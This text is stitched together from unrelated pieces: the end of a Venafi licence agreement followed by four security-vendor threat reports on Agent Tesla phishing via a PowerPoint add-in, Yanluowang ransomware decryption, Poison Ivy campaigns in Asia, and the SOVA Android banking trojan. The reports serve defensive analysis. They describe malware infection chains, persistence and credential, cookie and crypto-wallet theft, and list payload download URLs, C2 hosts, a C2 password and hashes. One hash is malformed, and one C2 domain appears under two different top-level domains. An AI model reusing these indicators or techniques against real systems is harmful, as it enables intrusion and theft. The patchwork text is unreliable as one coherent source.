1. This Agreement is binding on You as well as Your employees, employers, contractors and agents, and on any permitted successors and assignees. Except if otherwise superseded in writing by a separately executed agreement, this Agreement is the entire agreement between You and Venafi with regard to the License granted hereunder, and You agree that Venafi will not have any liability for any statement or representation made by it, its agents or anyone else (whether innocently or negligently) upon which You relied in entering into this Agreement, unless such statement or representation was made fraudulently. This Agreement supersedes any other understandings or agreements, including, but not limited to, advertising, with respect to the Service. If any provision of this Agreement is deemed invalid or unenforceable by any country or government agency having jurisdiction, that particular provision will be deemed modified to the extent necessary to make the provision valid and enforceable and the remaining provisions will remain in full force and effect. Should such modification be impractical or denied, You and Venafi shall thereafter each have the right to terminate this Agreement on immediate notice.
2. **Survival.** The parties agree that the rights and obligations set forth in the above-referenced Section 1 (Definitions), 3 (Ownership), 4 (Disclaimer of Warranties), 5 (Limitation of Liability), 6 (Term and Termination), 7 (Compliance with Laws), 8 (Governing Law), and 9 (General) shall survive the termination of this Agreement for any reason and enforcement thereof shall not be subject to any conditions precedent.
3. **Assignment.** This Agreement shall be binding upon and inure to the benefit of the parties’ respective successors and permitted assigns. You shall not assign this Agreement or any of Your rights or obligations hereunder without the prior written consent of Venafi and any such attempted assignment shall be void.
|
# Fake Purchase Order Used to Deliver Agent Tesla
March 7, 2022
Since the dawn of phishing, fraudulent invoicing and purchasing schemes have been one of the most common lures. The usual modus operandi involves appealing to the recipient’s desire to avoid incurring a debt, especially where a business may be involved.
FortiGuard Labs recently came across an interesting phishing e-mail masquerading as a purchase order addressed to a Ukrainian manufacturing organization that deals with raw materials and chemicals. The e-mail contained a PowerPoint attachment that is in reality a sophisticated, multi-stage effort to deploy the Agent Tesla RAT (Remote Access Trojan).
What makes this campaign unique is the usage of PPAM, which is a file format that is not very common. A PPAM is a Microsoft PowerPoint add-in that gives developers extra functionality, such as extra commands, custom macros, and new tools. This blog will detail the infection process and subsequent malware deployment.
**Affected Platforms:** Windows
**Impacted Users:** Windows users
**Impact:** Compromised machines are under the control of the threat actor
## Examining the phishing e-mail
Like so many computer-based attacks, this one began as a phishing e-mail sent to an organization in Ukraine. Spelling and grammar issues aside, like most good phishing campaigns this one provides a time sensitive statement urging the recipient to urgently review the attached order.
The e-mail originated at an address of 194[.]99[.]46[.]38 that corresponds to slot0.warongsoto.com. This is hosted on a run-of-the-mill VPS server. Visiting the server, we noticed that the site states that the server control panel is controlled by VESTA. Recent CVE data highlights that Vesta Control Panel is affected by remote command execution and elevation of privilege vulnerabilities that ultimately allow for full compromise of the system (CVE-2020-10786 and CVE-2020-10787).
The domain itself appears to be either abandoned or at least unused with no active content hosted. It was registered in the United States in October 2021. The originating e-mail address does not appear to reference an actual individual and a search for other instances of this being used elsewhere came up empty.
## Examining the dropper – stage 1
### Phase 1
Dropping the final payload occurs in multiple phases, making this, in actuality, a very complex operation. Attached to the e-mail is the file “order001.ppam”. This is an add-in file format used by Microsoft PowerPoint that, in this case, contains a malicious macro that acts as a dropper for Agent Tesla.
The first phase of stage 1 begins with opening the PPAM attachment to activate the macro contained within. Once the macro is executed, it will reach out to the URL shortener Bit.ly to download the next phase of the dropper. The address used is: hXXp://www[.]bitly[.]com/awnycnxbcxncbrpopor/
### Phase 2
The call out to Bitly will be redirected to a location on MediaFire – a file hosting site (hXXp://download2261[.]mediafire[.]com/6lcqxbws032g/wctsdmx4dsh95xs/19.htm). As possibly inferred, this was a campaign and not simply directed at one recipient. There were multiple files made available over several days.
Each of the files is very similar (with minor tweaks) to the download location of the next step. If we arrange the file into a more readable format, we get a better sense of what it’s trying to do. As seen, the file attempts to taskkill several applications and services followed by adding a scheduled task into the Windows Task scheduler. The script then attempts to download and execute another file from MediaFire - hXXp://www[.]mediafire[.]com/file/otza6n31talvvle/19.dll.
### Phase 3
While the file extension gives the impression of a Microsoft dynamic link library (.dll), 19.dll is in actuality a PowerShell script containing instructions in a large amount of hexadecimal data. Once executed, the hexadecimal data will be transformed into additional PowerShell commands that will run in memory. For example, new registry keys will be added to assist with persistence.
If captured and reviewed, the entries that stand out the most are two large, compressed byte arrays — $nona and $STRDYFUGIHUYTYRTESRDYUGIRI. As can be seen, the byte arrays are then decompressed for use. Once decompressed, these can be saved as executable Windows files. $nona is the larger of the two and is Agent Tesla. $STRDYFUGIHUYTYRTESRDYUGIRI will inject Agent Tesla into a running Windows process.
Renaming 19.dll to 19.ps1 allows it to be executed as a normal PowerShell script. With this particular sample, it will attempt to launch and then inject Agent Tesla into the aspnet_compiler.exe application.
## Examining the malware – stage 2
At its core, Agent Tesla is a keylogger and RAT (Remote Access Trojan). It will take any results captured from the keyboard and clipboard and send them back to its C2 (Command and Control) server. In this instance, once injected into the aspnet_compiler.exe process Agent Tesla will be up and running. With entries in the registry it will have persistence to run even if the host machine is rebooted.
As can be seen, this variant is similar to one FortiGuard Labs has analyzed previously. From this point, it will run in the background and observe the user, recording their actions and sending them back to the threat actor.
## Conclusion
Threat actors for the most part like to use lures that are tried and true, as was the case here with the invoicing phishing e-mail, because they continue to enjoy success. The dropper attached to the phishing e-mail shows the continuing evolution and complexity required to evade modern security controls combined with the need to traverse several gates to arrive at the release point for the final payload. Once finally deployed to a system, the ability to obfuscate and hide inside everyday files and processes proves that Agent Tesla is a very capable and formidable threat. Unfortunately, this trend towards increasing sophistication is unlikely to abate any time soon.
## Fortinet Protections
FortiMail’s integrated antivirus, sandbox, and content disarm and reconstruction (CDR) functions detect and disable this malicious attachment. The FortiGuard Antivirus service detects and blocks this threat as:
- VBA/Agent.GBX!tr
- JS/Agent.YHB!tr
- PossibleThreat.PALLAS.H
The domain warongsoto.com is blocked by the Web Filtering client.
## IOCs
**Sample SHA-256:**
| DLL/PS1 SHA256 |
|----------------|
| 27C7F5F2A21298C66A8EEF11DF73BFB1E9EEF7B84974CEF9AF695A7E216EFA21 |
| F86FDC385BA4467FD27093DFB6A642C705199AC3307D24096D7150FB6A80E8FD |
| 9971EE4C59F1838C111CFAA0BC26A6C08B80FD7364C193F6D8DCA1A840D37B7F |
| D147E24E603FB17CE3C6EC839CC8AD07BCE06455037CC0E139CC68042153B7A7 |
| 7659EC63CF7010158517AD0DFD3828F8B46592BDBC374D906BACD80A8500DA4B |
| D98D56AEB0A3DBD020C1F6ED9CFE0848A4D8C57DABBB064FBCD0305BDF8B329C |
| 4FD01BF61C49579A40EFDD86D736930585AB3E79D9085177303DDCFF61480E26 |
| 7384900E7BB02B1028D92A145CBE2BDB5E3283336C0E5E6014AFCD546B17B985 |
| EFDFD9CCDFB052FD7693403D1E8E085594C1B3B7ED221FD6021F794B5BA752C5 |
| 90313F269F0583FBC179BEABAE2A48B1B53594F1FB4A27556861D5D82AD722EC |
| 3C1636CF2A4296840D55A8BAF9ABB56E1C847C5D6E3A7DF0D7040050D017E54C |
| EC9E8CB17C92C4D6175FB3E715F73C4BEF833742168451398A99DE22F06FB52E |
| 87B7F2C05F3E63821DE8AD22EE7ED9CA034CD61332EBAE3E1F76AF085696D5F8 |
| B5CF3D2594E148C458467C833B0D95976480FB054A7763E1F6DCF4187A61E1BE |
| 0C3F881258EF9F1DB9A9923945AB07351DA8BA1A337AACCBCB6B5BD56AE080B3 |
| 3B9D6FC6449B7B42E816A19C2B649A5E5CF4E724B2FCD93E56445DECA89FB850 |
| 34CFFA6664C92F77EE60749E251A4ED18A15A3F0F61C78BCADA9EA86478681E0 |
| 380C8FC86237A6B847F40870E9A15ADA1914F25174FF40838604354389EF9540 |
| B8403149F7A6E0FCCCB9C6E793BDCE7431385F86174D80B0C65F89A9C948A47F |
| D7E76887903EBD361112531017E140D2BFAAA816598C648F3B1238DCC6906BF1 |
| CB758A93876ACD5F7A314FDA6CCB97D0FC115ABFFF7F22637B629B1E91CF1970 |
| F3D9873EE798BF649A22C50E3DAEEBADFC127A405C0D8F54266B66C4377901E0 |
| 1BD2383346BF8B1924C179B1616AF56A2BC4248717329B90E01FF13DB45ABE4F |
| 5DC6B8CC1E9D1EE535752E6C5320280F864EA660B5BF8657F96B8E2B1053C57A |
| FA37BD017B82C1F7C545475F7A0CD786F81BC2CC024DA46CBDB4071B22ED4FFB |
**Fileless Tesla SHA256:**
| SHA256 |
|--------|
| F69B85F5763CEC5A5DA5CE1152038FFEEF7A2A75600003ADBFEB3DC87502C8A8 |
| B409FF4CD1B8F18E80AFA98B3306440391FB5CBE294E6DA14E8146F63ECA2C6C |
| 34EEEDAB0ABBEB1BAFFCCFDAEF74E54A7786F24BC5024B2F23A6F9385FEC9917 |
| 6449D03A519CAB4B7C4E19D53D57A16AE69B70D7DF6BE815BCB57DC7395AB991 |
| E77DCCCB70AD61D50AC7E8C5DA1F79D5BC22B1F42A6651252EB449241BD6068B |
| C7840150DC084B1E0F6961EC61C39793BBED40FE17A7E24124DFE07F2C1A7B40 |
| F4542569E3F54CBC93AB835567507242DDDCAE2A84743DA103332EEFF3501ABD |
| 851CC3973B096C8DA88E1EDB568C17750D019CA7F2528B3DA933D33D7F306A46 |
| C0C3A9CBDC769F3B86EAB40A9032769FE61E5E9B93CE7A93A0CC02EF43D4B9B5 |
| 256F7CC33E3E359427702FF79E59C5EEA73164CC74D96B6F24E6BE19B62500E7 |
| 445E6D6EBA924CC86005C107F329B248997AAC4149FBBD540A656FBA50A68C19 |
| D321AF1AF7D8B0A19B87897938B23ADB57C9089B73F2C15E0E2747B0071D1715 |
| 822F2266CA284C5318E75C1286F7B4ED746E9289323B57462E227ED8D4D1AC8F |
| 399B6B1AED4B62C165FE074DD9A43DEC0F0E1D5A50C89BFCA4A902CBFDBC17D5 |
| 6BCDC49281217C3D8A82ED29A6BC89154885B08954AC3F78FA11BB09BF34A109 |
| 1DF27F8D8B8572CB76D7275D7FE686C88F4297DA39095C1399B1E55459DFFDF6 |
| 49BF5F9D59C27291FCB0D9F0C593DCB00CA9705E5D294E9C55353BDEFBC37273 |
| A155AB7DB6D22A44487D909BB040F5300B6E24283CDB7D7D902E7CE5CDD533BB |
| FD210DFB8C2F3B33FEEE191608EF58DD2816F08E9850DB734143115BA199690E |
**Filename SHA256:**
| Filename | SHA256 |
|--------------------|--------|
| Order001.ppam | DCA3AC723A130E56FB158C34C68E1C4B7D8577D0DBE9D8B859BFFF7ADA34D02E |
| Loader | 4C0E2CB721585C480169B3804E17E2761BC5FE76584CF1375FCCDB33CA64D5A5 |
**Network IOCs:**
- 192[.]154[.]226[.]47
- hxxps://www[.]mediafire[.]com/file/s2w0i5rhl9e4wje/1.dll
- hxxps://www[.]mediafire[.]com/file/u8t0g2vyrvoyldp/10.dll
- hxxps://www[.]mediafire[.]com/file/hheln09oi15b266/11.dll
- hxxps://www[.]mediafire[.]com/file/mra2u90srnmymxl/12.dll
- hxxps://www[.]mediafire[.]com/file/e7fmuc053m1vdz5/13.dll
- hxxps://www[.]mediafire[.]com/file/l3xh5g98wf5l4gv/14.dll
- hxxps://www[.]mediafire[.]com/file/5d7sd1qat59dtpy/15.dll
- hxxps://www[.]mediafire[.]com/file/2tpkh278oypz794/16.dll
- hxxps://www[.]mediafire[.]com/file/hjjo0rc7izwy4is/17.dll
- hxxps://www[.]mediafire[.]com/file/wy0e3mn2xyaqdhd/18.dll
- hxxps://www[.]mediafire[.]com/file/otza6n31talvvle/19.dll
- hxxps://www[.]mediafire[.]com/file/dsgxrjtpbyyzm7u/2.dll
- hxxps://www[.]mediafire[.]com/file/mf3pufkmdshddyq/20.dll
- hxxps://www[.]mediafire[.]com/file/ijdnf0wqv4e5frr/21.dll
- hxxps://www[.]mediafire[.]com/file/c9gt9xi3l9srlhi/22.dll
- hxxps://www[.]mediafire[.]com/file/pqk7p5p1vvcv5s1/23.dll
- hxxps://www[.]mediafire[.]com/file/mqbl43fcem1fndd/24.dll
- hxxps://www[.]mediafire[.]com/file/xz0guzs3g004f0i/25.dll
- hxxps://www[.]mediafire[.]com/file/qe4ece114vu4n0o/3.dll
- hxxps://www[.]mediafire[.]com/file/wbh1kq3u82mcso6/4.dll
- hxxps://www[.]mediafire[.]com/file/x0o4nlef7snbixu/5.dll
- hxxps://www[.]mediafire[.]com/file/xrnlyn4pjcmcfyf/6.dll
- hxxps://www[.]mediafire[.]com/file/qbzdrs7ulvvzfay/7.dll
- hxxps://www[.]mediafire[.]com/file/9q41qxg988c3opx/8.dll
- hxxps://www[.]mediafire[.]com/file/xxbskabqkber6oq/9.dll
## Mitre TTPs
- **Resource Development**
- Stage Capabilities: Upload Malware T1608.001
- **Initial Access**
- Phishing: Spearphishing Attachment T1566.001
- **Execution**
- Command and Scripting Interpreter: PowerShell T1059.001
- User Execution: Malicious File T1204.002
- **Persistence**
- Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001
- **Defense Evasion**
- Process Injection: Portable Executable Injection T1055.002
- Reflective Code Loading T1620
- **Credentials Access**
- Credentials from Password Stores: Credentials from Web Browsers T1555.003
- Input Capture: Keylogging T1056.001
- **Discovery**
- Account Discovery T1087
- **Command and Control**
- Application Layer Protocol: Web Protocols T1071.001
Thanks to Val Saengphaibul who helped contribute to this blog.
|
# How to Recover Files Encrypted by Yanluowang
Yanluowang is a type of targeted ransomware discovered by the Symantec Threat Hunter team during an investigation on a large corporate network. Kaspersky experts have found a vulnerability in the Yanluowang encryption algorithm and created a free decryptor to help victims recover their files.
## Yanluowang Description
The ransomware is relatively recent, named after the Chinese deity Yanluo Wang, one of the Ten Kings of Hell. Unfortunately, not much is known about the victims. According to Kaspersky Security Network data, attacks have been carried out in the United States, Brazil, Turkey, and a few other countries. The low number of infections is due to the targeted nature of the ransomware, as threat actors prepare and implement attacks on specific companies only.
In the ransom note, the cybercriminals demand not to contact law enforcement and not to "keep them for fools." The ransomware program can terminate virtual machines, processes, and services to make files used by other programs available for encryption. The main parts of stopped services and processes include databases, email services, browsers, document programs, security solutions, backups, and shadow copy services.
According to public information, Yanluowang is only used in targeted attacks rather than in other RaaS families. It requires parameters to be executed in the system, meaning it will be executed either manually or through a combination of scripts in the compromised system. The available syntax in the ransomware is:
```
encrypt.exe [(-p,-path,--path)<path>]
```
The Sosemanuk stream cipher is used to encrypt files, with its key then encrypted using the RSA-1024 asymmetric algorithm. The RSA public key is embedded in the program but additionally encrypted with the RC4 stream cipher, whose key is also embedded in the ransomware.
When the encryption process is completed, the file extensions will be changed to `.yanluowang`. Yanluowang divides files into big and small along a 3 GB threshold. Small files are encrypted completely from beginning to end, while big files are encrypted in stripes: 5 megabytes after every 200 megabytes.
After a file is encrypted, an RSA-encrypted Sosemanuk key is written to the end of it. The encrypted endfile block has a size of 1024 bytes.
## Files Decryption
Kaspersky experts have analyzed the ransomware and found a vulnerability that allows decrypting files of affected users via a known-plaintext attack. To decrypt a file, you should have at least one original file. The Yanluowang ransomware divides files into big and small files along a 3 GB threshold, creating conditions that must be met to decrypt certain files:
- To decrypt small files (less than or equal to 3 GB), you need a pair of files with a size of 1024 bytes or more. This is enough to decrypt all other small files.
- To decrypt big files (more than 3 GB), you need a pair of files (encrypted and original) no less than 3 GB in size each. This will be enough to decrypt both big and small files.
If the original file is larger than 3 GB, it is possible to decrypt all files on the infected system, both big and small. However, if there is an original file smaller than 3 GB, then only small files can be decrypted.
## Indicators of Compromise
Kaspersky solutions detect and protect against this ransomware, identifying it as Trojan-Ransom.Win32.Yanluowang with File Threat Protection and proactively as PDM:Trojan.Win32.Generic with Behavior Detection.
**MD5:**
- afaf2d4ebb6dc47e79a955df5ad1fc8a
- ba95a2f1f1f39a24687ebe3a7a7f7295
## Piece of Advice
It is important for a company to have a security solution that enables an instant response to ransomware threats to avoid large financial losses. Yanluowang was deployed in targeted human-operated attacks. A comprehensive cybersecurity strategy is required to protect against such threats.
Here are Kaspersky’s recommendations for staying safe from ransomware attacks:
- Do not expose remote desktop services (such as RDP) to public networks unless absolutely necessary, and always use strong passwords.
- Promptly install available patches for commercial VPN solutions that provide access for remote employees and act as gateways to your network.
- Always keep software up to date on all your devices to prevent ransomware from exploiting vulnerabilities.
- Focus your defense strategy on detecting lateral movement and data exfiltration to the Internet. Pay special attention to outgoing traffic to detect cybercriminals’ connections.
- Back up data regularly. Make sure you can quickly access your backups in an emergency.
- Educate your employees to protect the corporate environment. Dedicated training courses can help, such as those provided on Kaspersky Automated Security Awareness Platform.
- Use the latest Threat Intelligence information to stay on top of actual TTPs used by threat actors.
- Use solutions like Kaspersky Endpoint Detection and Response and Kaspersky Managed Detection and Response service to identify and stop an attack in the early stages.
- Use a reliable endpoint security solution, such as Kaspersky Endpoint Security for Business, that is powered by exploit prevention, behavior detection, and a remediation engine capable of rolling back malicious actions. KESB also has self-defense mechanisms that can prevent its removal by cybercriminals.
|
# Under Attack? Call (844) END.DDoS
## By Jason Jones on 04/26/2016
Posted in advanced persistent threats, Backdoors, Malware.
The infamous Remote Access Trojan (RAT) Poison Ivy (hereafter referred to as PIVY) has resurfaced recently and exhibits some new behaviors. PIVY has been observed targeting a number of Asian countries for various purposes over the past year. Palo Alto Networks’ Unit 42 recently blogged about a new Poison Ivy variant targeting Hong Kong activists dubbed SPIVY that uses DLL sideloading and operates quite differently from a variant recently observed by ASERT that has been active for at least the past 12 months.
## Technical Details
The PIVY variant that ASERT has observed has exhibited some newer behavior that we have not seen discussed previously. The samples drop a decoy document – usually hinting clearly at the target, a DLL named ActiveUpdate.dll and the PIVY shellcode file as Active.dat. The ActiveUpdate.dll and Active.dat files are created in a directory that follows the format ActiveUpdate_[0-9]{3}. The executable copies rundll32.exe to ActiveFlash.exe and then executes the new file with the path to the DLL and installs itself for automatic startup via a .lnk in the Windows Startup folder. ESET identified these samples as “Win32/Korplug.I[F-I] variant“, possibly due to the appearance of the malware using DLL sideloading with rundll32 to load the dropped DLL and perform its malicious actions. This deployment tactic dates well into last year (and possibly before) using different executable names for the rundll32 copy and the base directory name; however, this post will only cover a subset of the variant using “ActiveUpdate”.
### Illustration of execution process of one PIVY Sample
The compile times on these binaries also closely correlate to the times they were first observed in-the-wild and some samples contained timestamp-like entities in the various campaign IDs fields in the malware configuration. The decrypted configuration appears to be slightly modified in such a way as to confuse some publicly available tools that parse the configuration data. The campaign ID is not fully null-padded – there is now one null-byte and a string of repeating “x” characters that will cause confusion for some scripts. Additionally, the C2s are no longer null-padded – each hostname ends with a null-byte that is then followed by a string that will look something like “0.1127.0.0.1127.0.0.100000”. This string will change slightly with each Command & Control (C2) server – the portions that start with “1” will change to 2 for the second C2, 3 for the third, etc. These values end up being present elsewhere in memory without the extra items and only small tweaks are needed to fix the parsing.
The hostname webserver.servehttp.com is observed in a number of PIVY samples, some of which are covered in this post. Additionally, the IP resolved to by this hostname overlapped with fileshare.serveftp.com which was used in an earlier and seemingly unrelated PIVY sample.
## Decoy Document and Targeting Information
A number of PIVY samples were observed to be targeting Myanmar and several other countries in Asia. While the exact targets and delivery methods are not known to ASERT at this time, the documents and submission sources provide strong hints as to the motivations and potential targets of these exploitation campaigns. The sample described in the previous section – a7d206791b1cdec616e9b18ae6fa1548ca96a321 – was observed to be targeting Myanmar in late November 2015. The compile timestamp on the sample was November 2, 2015, the apparent timestamp in the filename appears to be referencing a report that was released on November 25, 2015, and it was first seen late evening in the US on November 24, 2015, which would equate to November 25 in Myanmar. The document was dropped as “STEP Democracy Year 1 Achievements_25112015.docx” and was also dropped by SHA1 724166261e9c2e7718be22b347671944a1e7fded with the name “Year1achievementsv2.docx“, but that sample uses a different communications password over the same set of C2s. The documents may be drafts of a final report released in December by the International Institute for Democracy and Electoral Assistance (IDEA), a part of the STEP Democracy initiative. The IDEA is “part of the European Union-funded project Support to Electoral Processes and Democracy (STEP Democracy)” whose goal is to support democracy worldwide. The IDEA has been working with Myanmar before and after their recent election to ensure “peaceful, transparent and credible elections.” Part of this work includes publishing reports and drafts such as those referenced above. In this case, the bait file document metadata contains a company name of “IDEA” with an author of “Sophia” – possibly referencing a current member of the organization and a last edited date of November 20, 2015. The content of the document details a debate around the democratic elections in Myanmar. This timeline would put the targeting past the elections that occurred in early November, but appears to still be focused on individuals interested in democracy inside of Myanmar. The targeting of the post-election Myanmar appears to be following the same style as what was mentioned in the “Uncovering the Seven Pointed Dagger” paper by ASERT. In this case, however, it appears that threat actors began using references to the STEP organization to continue their likely spearphish tactic by leveraging content relevant to post-election Myanmar. A possible connection exists given that the C2 for these samples – jackhex.md5c.com – resolved to an IP contained within 103.240.203.0/22 as did a 9002 RAT sample in the Seven Pointed Dagger exploitation campaign. A “LURK0” Gh0strat and another PIVY domain were also observed to have resolved to IPs contained within this range, making this subnet more suspicious from a targeted attack perspective.
### Dropped document referencing Myanmar’s democratic process
A number of documents that appear to be economically focused were also observed recently and one of these samples also references Myanmar. This sample used a campaign ID of “mm20160405” and dropped a document named “Chairman’s Report of the 19th ASEAN Regional Forum Heads of Defence Universities, Colleges, Institutions Meeting, Nay Pay Taw, Myanmar.doc” that references an Association of Southeast Asian Nations (ASEAN) meeting that took place in Myanmar in September of 2015. The timing of this sample is quite different from the earlier sample and seems to suggest at least a follow-up campaign due to the malware compilation timestamp of March 28, 2016, combined with an apparent timestamp value in the campaign ID of April 5, 2016, and the fact that the binary was first observed in the wild on April 11, 2016. The mutex specified in the configuration – 20150120 – is the same mutex used in the earlier sample that dropped a document referencing the STEP program, but this mutex is also used in many other PIVY samples that use the “ActiveUpdate” directory structure and is likely not useful for identifying the campaign or a relationship between samples outside of possibly sharing a similar version. The C2 used in this sample – admin.nslookupdns.com – resolved to an IP contained in the subnet 118.193.218.0/24. Similar to the previous sample discussed, ASERT has observed an overlap between many other malware families including Nitol, Gh0strat, and another PIVY sample that uses “ActiveUpdate“. This sample’s C2 domain is news.tibetgroupworks.com which provides an obvious suggestion at targeting dynamics; however, no decoy documents were dropped and no further information was discovered to help support the targeting hypothesis.
### Dropped document referencing ASEAN meeting in Myanmar
Continuing on with the theme of campaigns targeting ASEAN, sample 31756ccdbfe05d0a510d2dcf207fdef5287de285 drops a decoy document named “Robertus Subono-REGISTRATION_FORM_ASEAN_CMCoord2016.docx” that references an ASEAN Humanitarian Civil Military Coordination meeting that took place in Bangkok between March 28 and April 1, 2016. The document purports to be a registration form for an attendee from Indonesia and is supposed to be sent to a Thailand Ministry of Defense email address. The sample has a compilation date of March 10, 2016, was first observed by ASERT on March 20, 2016, and also contains an invalid digital signature claiming to be signed by Google. Coupling the campaign ID of “modth” with the purpose and location of the meeting and the email address this form is supposed to be mailed to, a possible target of this sample could be Thailand’s Ministry of Defense. The C2s used by this sample overlap with the prior sample that references the ASEAN meeting in Myanmar nearly perfectly – the first C2 uses port 80, whereas the prior sample used 81 and they both use the same mutex and password. This overlap suggests a possible ongoing targeting towards ASEAN members and meetings that they hold.
### Decoy document dropped by 31756ccdbfe05d0a510d2dcf207fdef5287de285 referencing an ASEAN meeting in Thailand
The decoy document “2016.02.29-03.04 -ASEM Weekly.docx” dropped by ec646c57f9ac5e56230a17aeca6523a4532ff472 was also interesting in that it was not in English like the other two observed documents – Google Translate identifies the language in the document as Mongolian.
### Decoy document references an Asia-Europe Meeting (ASEM) dropped by ec646c57f9ac5e56230a17aeca6523a4532ff472
The decoy document 1.docx that is dropped by f389e1c970b2ca28112a30a8cfef1f3973fa82ea shows as corrupted when executed in a sandbox, but manual recovery yielded a document in Korean with a malware campaign ID of kk31. The document appears to reference Korean language schools abroad and the telephone number present yields an affiliation with the Korean Ministry of Foreign Affairs, but the intended target is unclear at this time.
### Korean language decoy document dropped by Sample f389e1c970b2ca28112a30a8cfef1f3973fa82ea
Sample f389e1c970b2ca28112a30a8cfef1f3973fa82ea dropped a decoy document named “Commission on Filipinos Overseas & Dubai.doc”, but this document did not render correctly in a malware sandbox or manually. VirusTotal revealed a sample from the Philippines which suggests that they, not Dubai/UAE, were the targets. The C2s for this sample used webserver.servehttp.com, also exhibited by many of the recent samples which suggests the same actor may be involved in this campaign activity.
## Conclusion
As this post and other recent posts detail, PIVY continues to evolve and be used in a myriad of targeted exploitation campaigns – not unlike many other targeted malware families such as PlugX or the Dukes. This will certainly not be the last evolution of PIVY, and ASERT continues to monitor these threats as they are discovered. I would also like to say thank you to Curt Wilson of ASERT for his assistance with research covered in this post.
## IOCs
Configuration elements and additional information for samples discussed in this article.
- **SHA1**: a7d206791b1cdec616e9b18ae6fa1548ca96a321
- **First Seen**: Nov. 24, 2015
- **Name**: STEP Democracy Year 1 Achievements_25112015.exe
- **Decoy Doc**: STEP Democracy Year 1 Achievements_25112015.docx
- **Campaign ID**: om
- **C2s**:
- jackhex.md5c.net: 8080
- jackhex.md5c.net: 53
- jackhex.md5c.net: 53
- **Mutex**: 20150120
- **Password**: 18703983384
### SHA1 Hashes
- 63e00dbf45961ad11bd1eb55dff9c2771c2916a6
- 675a3247f4c0e1105a41c685f4c2fb606e5b1eac
- 49e36de6d757ca44c43d5670d497bd8738c1d2a4
- cbbfc3b5ff08de14fdb2316f3b14886dfe5504ef
- a7d206791b1cdec616e9b18ae6fa1548ca96a321
- ec646c57f9ac5e56230a17aeca6523a4532ff472ef2618d58bd50fa232a19f9bcf3983d1e2dff266
- f389e1c970b2ca28112a30a8cfef1f3973fa82ea
### Unique C2 Hostnames
- news.tibetgroupworks.com
- web.microsoftdefence.com
- admin.nslookupdns.com
- jackhex.md5c.net
- webserver.servehttp.com
Arbor’s Security Engineering & Response Team (ASERT) delivers world-class network security research and analysis for the benefit of today’s enterprise and network operators. ASERT engineers and researchers are part of an elite group of institutions that are referred to as ‘super remediators’ and represent the best in information security. ASERT has both visibility and remediation capabilities at nearly every tier one operator and a majority of service provider networks globally. ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via in-band security content feeds. ASERT also operates the world’s largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS®, Arbor’s global network of sensors.
|
# SOVA Malware is Back and is Evolving Rapidly
**Francesco Iubatti, Federico Valentini**
## Introduction
In September 2021, SOVA, a new Android Banking Trojan, was announced in a known underground forum. Even though at that time the author claimed the malware was still under development, it actually already had multiple capabilities and was basically almost in the go-to market phase. Furthermore, the authors of SOVA showed a roadmap with the future update of the malware.
Until March 2022, multiple versions of SOVA were found and some of these features were already implemented, such as 2FA interception, cookie stealing, and injections for new targets and countries (e.g., multiple Philippine banks). In July 2022, we discovered a new version of SOVA (v4) which presents new capabilities and seems to be targeting more than 200 mobile applications, including banking apps and crypto exchanges/wallets.
Starting from May 2022, Threat Actors (TAs) behind SOVA have started to deliver a new version of their malware, hiding within fake Android applications that show up with the logo of a few famous ones, like Chrome, Amazon, NFT platform, or others. Differently from the previous versions, this time several new codes were added. The most interesting part is related to the VNC capability. This feature has been in the SOVA roadmap since September 2021 and is strong evidence that TAs are constantly updating the malware with new features and capabilities.
Starting from SOVA v4, TAs can obtain screenshots of the infected devices to retrieve more information from the victims. Furthermore, the malware is also able to record and obtain any sensitive information. These features, combined with Accessibility services, enable TAs to perform gestures and, consequently, fraudulent activities from the infected device, as seen in other Android Banking Trojans (e.g., Oscorp or BRATA).
With SOVA v4, TAs are able to manage multiple commands, such as screen click, swipe, copy/paste, and the capability to show an overlay screen to hide the screen from the victim. However, it was observed that multiple logs information are still sent back to the C2. This behavior is a strong indicator that SOVA is still going through a development process, while TAs are rolling out new features and capabilities.
Moreover, in SOVA v4, the cookie stealer mechanism was refactored and improved. TAs specified a comprehensive list of Google services that they are interested in stealing (e.g., Gmail, GPay, and Google Password Manager), plus a list of other applications. For each of the stolen cookies, SOVA will also collect additional information such as “is httpOnly,” its expiration date, etc.
Another interesting update about SOVA v4 is the refactoring of its “protections” module, which aims to protect itself from different victim’s actions. For example, if the user tries to uninstall the malware from the settings or pressing the icon, SOVA is able to intercept these actions and prevent them (through the abuse of the Accessibilities) by returning to the home screen and showing a toast (small popup) displaying “This app is secured.”
A peculiarity of SOVA v4 is the “core” relocation of the malware. Like the main Android banking trojan, SOVA uses the .apk just to unpack a .dex file which contains the real malicious functionalities of the malware. In the previous version, SOVA stored the .dex file inside the directory of the app, while in the current version it uses a device's shared storage directory (“Android/obb/”) to store it.
Lastly, in SOVA v4, an entire new module was dedicated to Binance exchange and the Trust Wallet (official crypto wallet of Binance). For both applications, TAs aim to obtain different information, like the balance of the account, different actions performed by the victim inside the app, and even the seed phrase (a collection of words) used to access the crypto wallet.
## C2 Communications and Panel
The communications between SOVA v4 and the C2 didn’t change compared to the previous version (v3), except for the new command (vncinfo) used for its new VNC feature. Meanwhile, the C2 panel of SOVA was updated compared to the first version published by the author in September 2021, with some new features and a complete UI restyle.
## New Targets
The first version of SOVA had almost 90 targeted applications (including banks, crypto wallet/exchange, and generic shopping apps), initially listed and stored in the packageList.txt file within the assets/ folder. In the latest samples, this file has been removed and the targeted applications are managed through the communications between the malware and the C2.
The number of targeted applications has grown faster compared to the initial phases of SOVA: during March 2022, multiple Philippine banks were added, and then during May 2022, another list of banking applications was added too. To obtain the list of targeted applications, SOVA sends the list of all applications installed on the device to the C2, right after it has been installed. At this point, the C2 sends back to the malware the list of addresses for each targeted application and stores this information inside an XML file.
Another interesting fact is that, in some of the analyzed samples of SOVA v4, the list of CIS region used in the previous versions (used to exclude these countries from attacks) was removed, and all the initial Russian and Ukraine targeted apps were removed.
## Further Updates - SOVA v5
During the review of the document on SOVA v4, we spotted on our threat intelligence platform (Cleafy ASK) multiple samples that seem to belong to a further variant of SOVA (v5); we want to provide you with an overview of this variant too. Analyzing the code of the malware, it is possible to observe a big refactoring of the code, the addition of new features, and some small changes in the communications between the malware and the C2 server. Furthermore, the samples of SOVA v5 that we analyzed don’t present the VNC module that we observed in SOVA v4: our hypothesis is that it was simply not integrated in the v5 version yet. In fact, the malware seems to be still under development, due to the presence of multiple logs used for debugging.
